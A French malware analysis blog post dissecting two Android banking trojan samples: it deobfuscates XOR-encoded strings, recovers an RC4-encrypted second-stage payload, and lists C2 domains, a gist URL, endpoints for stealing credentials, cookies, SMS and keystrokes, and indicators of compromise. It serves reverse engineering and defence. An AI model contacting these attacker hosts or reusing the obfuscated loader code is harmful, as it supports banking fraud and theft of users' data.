Comme tout projet de développement, les malwares suivent un processus d’amélioration continue et sont mis à jour relativement souvent. Les dernières fonctionnalités incluent par exemple un ciblage de quelques banques françaises depuis mai 2022.
Afin d’effectuer un point de situation quant à des familles de malwares bancaires similaires, deux échantillons ont été étudiés :
106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
(paquet « com.cabin.float ») ;576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
(paquet « com.sponsor.economy »).L’objectif de cet article de blog n’est pas de publier un rapport d’analyse complet. En revanche, il va pointer quelques éléments clefs qui pourront aider le lecteur à étudier un nouvel échantillon. Une documentation externe fournit par ailleurs des éléments de compréhension utiles :
Le fait que le code puisse s’appuyer sur un chiffrement basique à l’aide d’opérations XOR peut constituer une hypothèse de travail valide.
L’application Android peut être décompilée avec des outils en ligne gratuits tels que https://www.decompiler.com/ ou https://www.javadecompilers.com/. Le code source obtenu peut ensuite être fouillé avec des commandes usuelles :
$ grep --include "*.java" -nrl '\^' . ./sources/com/cabin/p000float/TJcYuNuLzDdTbCtLzHxFzIdEpMtRlDxBmCiOuFrZxPaYsLzRk.java ./sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java ./sources/com/cabin/p000float/CYtFbPhWuRaQbIyZuJx.java
Ces fichiers sont pleins de fonctions telles que :
public static String alarmconfirm() { int i = 1024; for (int i2 = 9; i2 < 41; i2++) { i = 1038; } byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61}; int i3 = -421; int i4 = (-421 - (5066 / i)) + 9510; byte[] bArr2 = new byte[12]; if (i == 500) { i = -5499169 - i4; } byte[] bArr3 = {78}; for (int i5 = 9; i5 < 10; i5++) { i4 = ((i - 60025) - -421) + 32320; } if (-421 == i4) { i3 = ((i4 + 9) + 6) - i; } if (i <= i4) { i = (79116 - (i4 * i3)) - 91782; } for (int i6 = 6; i6 < 8; i6++) { } int i7 = 0; while (i7 < 12) { int i8 = i + 42811; int i9 = 31 - i8; int i10 = i8 - (i9 * 78); bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]); int i11 = i10 / 8096345; i7++; i = i10; } for (int i12 = 19; i12 < 47; i12++) { } return new String(bArr2); }
Toutes ces fonctions partagent plusieurs points communs :
Quelques parties de code se révèlent inutiles. Par exemple :
int i = 1024; for (int i2 = 9; i2 < 41; i2++) { i = 1038; }
Peut être réduit à :
int i = 1038;
Plus loin, la variable i4
dépend seulement de la variable i
, qui est constante. Donc :
int i4 = (-421 - (5066 / i)) + 9510;
Peut être réduit à :
int i4 = 9084;
Etc.
La ligne la plus intéressante est :
bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]);
Qui peut être réduite en quelques itérations :
bArr2[i7] = (byte) (((((((i8 - i9) + i10) * 0) + bArr[i7]) + (((i10 / i10) / 1) ^ 1)) + (i10 % i10)) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) ((((0 + bArr[i7]) + ((1 / 1) ^ 1)) + 0) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) ((((0 + bArr[i7]) + 0) + 0) ^ bArr3[i7 % 1]); bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]);
Au final, la fonction alarmconfirm()
est relativement simple :
public static String alarmconfirm() { byte[] bArr = {38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61}; byte[] bArr3 = {78}; int i7 = 0; while (i7 < 12) { bArr2[i7] = (byte) (bArr[i7] ^ bArr3[i7 % 1]); i7++; } return new String(bArr2); }
Il s’agit d’un déchiffrement classique de bArr
dans bArr2
avec une opération XOR et une clef fixe conservée dansbArr3
.
Un petit morceau de Python reproduit le comportement du code Java :
from itertools import cycle encrypted = bytes([ 38, 56, 45, 38, 38, 40, 38, 42, 42, 61, 42, 61 ]) key = bytes([ 78 ]) decrypted = bytes([ x ^ y for x, y in zip(encrypted, cycle(key))]).decode('utf8') print(decrypted) hvchhfhddsds
Avec l’aide de commandes Shell, toutes les données utiles pour générer un déchiffrement global peuvent être récupérées :
$ egrep -e ' public static String | byte\[\] bArr = | byte\[\] bArr3 = ' sources/com/cabin/p000float/DLtWoUoAcFlFgHhSxYxLcFmIxAzCpOeBbEsJeHjBoIa.java public static String casualsign() { byte[] bArr = {102, 91, 76, 67, 79, 75, 65, 109, 82, 86, 102, 71, 90}; byte[] bArr3 = {34}; public static String claimenvelope() { byte[] bArr = {102, 43, 126, 117, 42, 115, 99, 107, 123, 119, 53, 52, 68, 42, 116, 115, 32, 98, 115, 12, 119, 119, 41}; byte[] bArr3 = {7, 69, 26}; public static String crackroom() { byte[] bArr = {115, 58, 91, 98, 104, 86, 102, 59, 86, 39, 61, 78}; byte[] bArr3 = {7, 72, 62}; [...]
Le script Python [decryptor.py]() résume toutes les chaînes trouvées et déchiffrées à l’intérieur des trois fichiers Java :
$ python3 ./decryptor.py casualsign(): DynamicOptDex claimenvelope(): android.app.ContextImpl crackroom(): tree hash up dependawake(): mAllApplications detailenable(): attach elevatorkite(): mApplication gingerfade(): mOuterContext hirefine(): ok replace string bitch hoversing(): mInitialApplication immensebetray(): mActivityThread leisurewet(): FINO.json natureyouth(): elevation actor tank obscurebuzz(): mPackageInfo omitcolumn(): android.app.ActivityThread peanutugly(): check the main aim proofspirit(): com.sdktools.android.App saddleunfair(): story repeats successpattern(): android.app.LoadedApk thingmisery(): DynamicLib alarmconfirm(): hvchhfhddsds assaulttongue(): vcosdYYDSHDnncx cannonsample(): open [...]
L’ensemble du code doit en partie être modifié à cette étape.
Par exemple, la fonction casualsign()
est appelée par levelpurity()
:
static String levelpurity(int[] iArr) { return casualsign(); }
La fonction levelpurity()
initialise la variable de classe GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd
:
String GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd = levelpurity(new int[5]);
Qui est utilisée dans :
public File gorillachuckle(Context context) { this.ahEnopymAwwfMkgXFrJRK_744299 = ((this.ZwBeoMdRaUhUGBOmSjDdY_839169 + this.aQkTOJIcQgfWakachlacw_458964) - 99) + 99; return context.getDir(this.GCiJgIeWjUfTdXaSrTnKnKuNrUgWqFfLeHqMd, 0); }
L’inutile supprimé, la fonction gorillachuckle()
se traduit en :
public File gorillachuckle(Context context) { return context.getDir("DynamicOptDex", 0); }
Cette dernière fonction est appelée depuis attachBaseContext()
:
public void attachBaseContext(Context context) { [...] String crucialamateur = crucialamateur(gorillachuckle(this.UMwCgEcYsCrTeMjRaGbAhZlWhErSiAtLu)); [...] }
La définition de crucialamateur()
est :
public String crucialamateur(File file) { if (file.canWrite()) { for (int i = 0; i < 12; i++) { this.ahEnopymAwwfMkgXFrJRK_744299 = this.aQkTOJIcQgfWakachlacw_458964 + 0 + this.gHsFJZQlqMDObEYiQIQBW_87005 + 105; } } return file.getAbsolutePath(); }
Donc au final, un grand nombre de fonctions peut être supprimé et l’appel initial peut se réduire à :
public void attachBaseContext(Context context) { [...] String crucialamateur = context.getDir("DynamicOptDex", 0).getAbsolutePath(); [...] }
Le même processus doit être appliqué à chaque site d’obfuscation.
Les sources nettoyées finales sont disponibles sur le Github Risk&Co.
En parcourant le nouveau code, on peut remarquer qu’un fichier FINO.json
est impliqué :
public void attachBaseContext(Context context) { super.attachBaseContext(context); this.myCtx = context; String crucialamateur = this.myCtx.getDir("DynamicOptDex", 0).getAbsolutePath(); String slowtrade = new File(crucialamateur, "FINO.json"); boolean croppresent = croppresent(slowtrade); if (croppresent) { StringBuffer stringBuffer = new StringBuffer(); if (croppresent) { placecharge(slowtrade, crucialamateur, stringBuffer, this.myCtx); } } }
Ce fichier semble chiffré :
$ file assets/FINO.json assets/FINO.json: data
Le chiffrement est confirmé par un haut niveau d’entropie, comme le rapporte binwalk
:
Voici une version nettoyée de la fonction croppresent()
:
public boolean croppresent(String str) { try { this.myCtx = Context.class.newInstance(); } catch (Exception unused) { } return cYtFbPhWuRaQbIyZuJx.mulelounge(str, this.myCtx, "FINO.json"); }
A l’intérieur de la classe CYtFbPhWuRaQbIyZuJx
, la fonction mulelounge()
est seulement une surcouche :
public boolean mulelounge(String str, Context context, String str2) { return underdiffer(str, context, str2); }
public boolean underdiffer(String str, Context context, String str2) { String str3 = str2; try { Class<File> cls = File.class; Constructor<BufferedInputStream> constructor = BufferedInputStream.class.getConstructor(new Class[]{InputStream.class}); byte[] bArr = new byte[3145728]; AssetManager weaselshove = AssetManager.class.newInstance(); Method bannersoldier = bannersoldier(weaselshove); bannersoldier.invoke(weaselshove, new Object[]{str3}); Method generalreview = context.getClass().getMethod("getAssets", (Class<?>[]) null); generalreview.setAccessible(true); AssetManager assetManager = (AssetManager)generalreview.invoke(context, (Object[]) null); Method veteranproblem = veteranproblem(assetManager); veteranproblem.setAccessible(true); Constructor creekbaby = creekbaby(cls); File soccershadow = soccershadow(creekbaby, str); BufferedInputStream newInstance = constructor.newInstance(new Object[]{intactconfirm(veteranproblem, assetManager, str3)}); BufferedOutputStream feelbird = feelbird(soccershadow); while (true) { int amusedbaby = amusedbaby(newInstance, bArr); if (amusedbaby < 0) { break; } dawninitial(feelbird, bArr, amusedbaby); } byte[] bArr2 = new byte[diamondpear(soccershadow)]; prioritycube(soccershadow, bArr2); __write_to_file(cropend(bArr2), solidagain(soccershadow)); bArr2.getClass().getComponentType(); File fileStreamPath = context.getFileStreamPath(str2); fileStreamPath.getClass().getPackage(); believediesel(fileStreamPath.toString(), soccershadow.getAbsolutePath()); if (newInstance != null) { feelsleep(newInstance); } if (feelbird == null) { return true; } imagedescribe(feelbird); return true; } catch (Exception unused) { return false; } }
La taille de 3145728 octets est une taille arbitraire de 3 Mo.
Poursuivre la lecture du code amène à la compréhension suivante : le contenu de FINO.json
est lu puis traité avant d’être écrit à un autre emplacement.
Suivre l’exécution du code permet de suivre le traitement des données :
public byte[] cropend(byte[] bArr) { return enterreal(bArr); } public byte[] enterreal(byte[] bArr) { byte[] bArr2 = bArr; Method generalreview = String.class.getMethod("getClass", (Class<?>[]) null); generalreview.setAccessible(true); Method generalreview2 = (Class)generalreview.invoke("pcSXre", (Object[]) null).getMethod("getBytes", (Class<?>[]) null); byte[] bArr3 = (byte[])generalreview2.invoke("pcSXre", (Object[]) null); MGjMtKwKeMtUaLzWqSjOzSpUtRz = legalcash(bArr3); byte[] bArr4 = new byte[((int) Math.floor((double) bArr2.length))]; int[] iArr = MGjMtKwKeMtUaLzWqSjOzSpUtRz; for (int i3 = 0; ((double) i3) < Math.ceil((double) bArr2.length); i3++) { int shallowkick = shallowkick('b', 5222, iArr, i10); int shallowkick2 = shallowkick('z', 1544545, iArr, i11); int i14 = iArr[(shallowkick + shallowkick2) % 256]; bArr4[i3] = categoryweb(((Math.round((float) i14) + 1) - 1) ^ bArr2[i3]); } return bArr4; }
La version brute initiale de la fonction legalcash()
est la suivante :
private int[] legalcash(byte[] bArr) { this.AftKupYbYErcX_817034 = (this.BNUeYTXUwHrNC_550594 - (this.RHEJzXlPpiJEc_905989 / 868117)) + 78513; int[] iArr = new int[(StrictMath.max(100, 0) + 100 + 56)]; this.RHEJzXlPpiJEc_905989 = this.AftKupYbYErcX_817034 + 2084300 + (this.BNUeYTXUwHrNC_550594 * 9612647); for (int i = 0; ((double) i) < StrictMath.cbrt(1.6777216E7d); i++) { iArr[i] = i; } int length = bArr.length; this.BNUeYTXUwHrNC_550594 = ((this.RHEJzXlPpiJEc_905989 / 542498) - this.AftKupYbYErcX_817034) - 182530; int i2 = 0; for (int i3 = 0; i3 < 256; i3++) { this.RHEJzXlPpiJEc_905989 = (60 / this.BNUeYTXUwHrNC_550594) - (this.AftKupYbYErcX_817034 * 89); this.BNUeYTXUwHrNC_550594 = (this.AftKupYbYErcX_817034 - (this.RHEJzXlPpiJEc_905989 * 3343740)) + 1656857; i2 = gaslittle(i2 + ((int) StrictMath.floor((double) shallowkick('d', 124545, iArr, i3))) + laptopgap(bArr, i3 % length) + ((int) StrictMath.sqrt(65536.0d)), StrictMath.max(-159000, 256)); this.AftKupYbYErcX_817034 = (97 - (this.RHEJzXlPpiJEc_905989 / 50)) + this.BNUeYTXUwHrNC_550594; alleyrude(i3, i2, iArr); } this.RHEJzXlPpiJEc_905989 = (95 - this.AftKupYbYErcX_817034) + (this.BNUeYTXUwHrNC_550594 * 36); return iArr; }
Un nettoyage effectué, l’algorithme de Key-scheduling RC4 apparaît :
private int[] legalcash(byte[] bArr) { int[] iArr = new int[256]; for (int i = 0; 256; i++) { iArr[i] = i; } int length = bArr.length; int i2 = 0; for (int i3 = 0; i3 < 256; i3++) { i2 = i2 + ((int) StrictMath.floor((double) iArr[i3])) + bArr[i3 % length] + 256 % 256; __permute(i3, i2, iArr); } return iArr; }
La clef est fournie via l’argument bArr
par l’appelant. Elle peut être retrouvée en lisant le code menant au KSA, et le second niveau peut être déchiffré :
$ python3 unrc4.py resources/assets/FINO.json pcSXre $ file resources/assets/FINO.json.plain resources/assets/FINO.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate
Le fichier Dex du second niveau pour l’échantillon 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
peut être extrait selon la même méthode :
$ python3 unrc4.py resources/assets/kQTUiw.json cXXZ $ file resources/assets/kQTUiw.json.plain resources/assets/kQTUiw.json.plain: Zip archive data, at least v2.0 to extract, compression method=deflate
Le serveur C2 courant est généralement récupéré avec des commandes de base :
$ wget -qO /dev/stdout https://gist.githubusercontent.com/haluktatar2222/684a2f118b77318c118954abaef9b15d/raw/fb26304c079d08452b50ca78257a65425d69f550/helloworld.json | base64 -d ; echo {"domains":["http://falakkaufman3.top"]}
Comme le gist est public, quelques approfondissements à propos de la fréquence de rotation des domaines sont publiquement accessibles :
$ git clone https://gist.github.com/684a2f118b77318c118954abaef9b15d.git Cloning into '684a2f118b77318c118954abaef9b15d'... remote: Enumerating objects: 214, done. remote: Counting objects: 100% (15/15), done. remote: Compressing objects: 100% (10/10), done. remote: Total 214 (delta 0), reused 0 (delta 0), pack-reused 199 Receiving objects: 100% (214/214), 20.42 KiB | 5.11 MiB/s, done. Resolving deltas: 100% (1/1), done. $ cd 684a2f118b77318c118954abaef9b15d/ $ git lg * 27cf366 - (HEAD -> main, origin/main, origin/HEAD) (14 hours ago) <haluktatar2222> * 52b026a - (27 hours ago) <haluktatar2222> * aaea266 - (2 days ago) <haluktatar2222> * 36576ef - (2 days ago) <haluktatar2222> * 7009d3d - (3 days ago) <haluktatar2222> * df3bdaa - (5 days ago) <haluktatar2222> * 2908e1f - (9 days ago) <haluktatar2222> * a8ac0b1 - (9 days ago) <haluktatar2222> * f1c308e - (11 days ago) <haluktatar2222> * 42fbd00 - (11 days ago) <haluktatar2222> * cce96ea - (12 days ago) <haluktatar2222> * 077c201 - (12 days ago) <haluktatar2222> * d4cfa91 - (13 days ago) <haluktatar2222> [...]
Le gist est mis à jour relativement souvent : 71 fois en trois mois.
Pour l’échantillon 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
, la liste des URL de base courantes peut être récupérée à l’aide d’une requête à un serveur :
$ wget -q http://hhgfdfttt.xyz/api/mirrors -O /dev/stdout | base64 -d | jq { "domains": [ "http://wersdeeeser.top", "http://ddknewdd.shop", "https://dimkahello.xyz", "http://hgjhfyft.xyz", "http://qdjwqeh.xyz", "http://h6ghhfg.online", "http://dfgdfgerger.online", "http://hjgyffffylive.xyz", "http://hhgfdfttt.xyz", "http://ygfytttree.online" ] } $ head -8 ./sources/com/sdktools/android/AdminPanelUrls.java package com.sdktools.android; public enum AdminPanelUrls { ADMIN_PANEL_URLS_1("https://babosiki.buzz"), ADMIN_PANEL_URLS_2("https://trustpoopin.xyz"), ADMIN_PANEL_URLS_3("https://trygotii.xyz"), ADMIN_PANEL_URLS_4("https://trytogoi.xyz");
Tous ces domains sont désactivés au moment de la rédaction de cet article, à l’exception du dernier, qui est sinkholé.
Comme il est moins obfusqué, l’échantillon 576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6
fournit un aperçu des fonctionnalités du malware à travers les suffixes de ses endpoints :
$ grep -nr makeGet sources/com/sdktools/android/ | grep '"' | sed 's#.*makeGet(\("[^"]*"\).*#\1#' | sort | uniq "device/check" "http://ip-api.com/json" $ grep -nr makePost sources/com/sdktools/android/ | grep '"' | sed 's#.*makePost(\("[^"]*"\).*#\1#' | sort | uniq "device" "device/cookie" "device/credentials" "device/kl" "device/lock" "device/notification" "device/push" "device/push-state" "device/read-sms" "device/save-phone" "device/save-pin" "device/screen" "device/server-log" "device/sms" "device/sms-admin" "device/tw-status" "device/ussd-run"
L’échantillon 106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
supporte également la plupart de ces endpoints.
Quelques requêtes HTTP nécessitent un entête d’authentification afin d’être prises en compte. La valeur attendue pour ce champ est un ID Android, qui peut être falsifié :
$ wget http://falakkaufman3.top/api/v1/device/check?screen=true --header 'Authorization: XXX' -O /dev/stdout | jq
Il est possible de remarquer que certaines parties de l’exécution dépendent du langage courant :
public boolean a() { return !("US".equalsIgnoreCase(this.f189b) || "RU".equalsIgnoreCase(this.f189b)); }
if (getResources().getConfiguration().locale.getLanguage().equals("ru")) { a(); return; }
En outre, la page d’accueil du panneau du C2 est titrée вход, ce qui signifie entrée en russe.
Tous ces éléments peuvent représenter des pistes pour cibler le pays de l’auteur du code.
Adresse IP
79.110.62.198
Files
106ee77ee0766d14d608cbecaf224cb78df96798da80019c663658497155bd4d
576be33dbbd61ad2643304adcf4e2240e689a6b24641a1882d892bb71ad3d5c6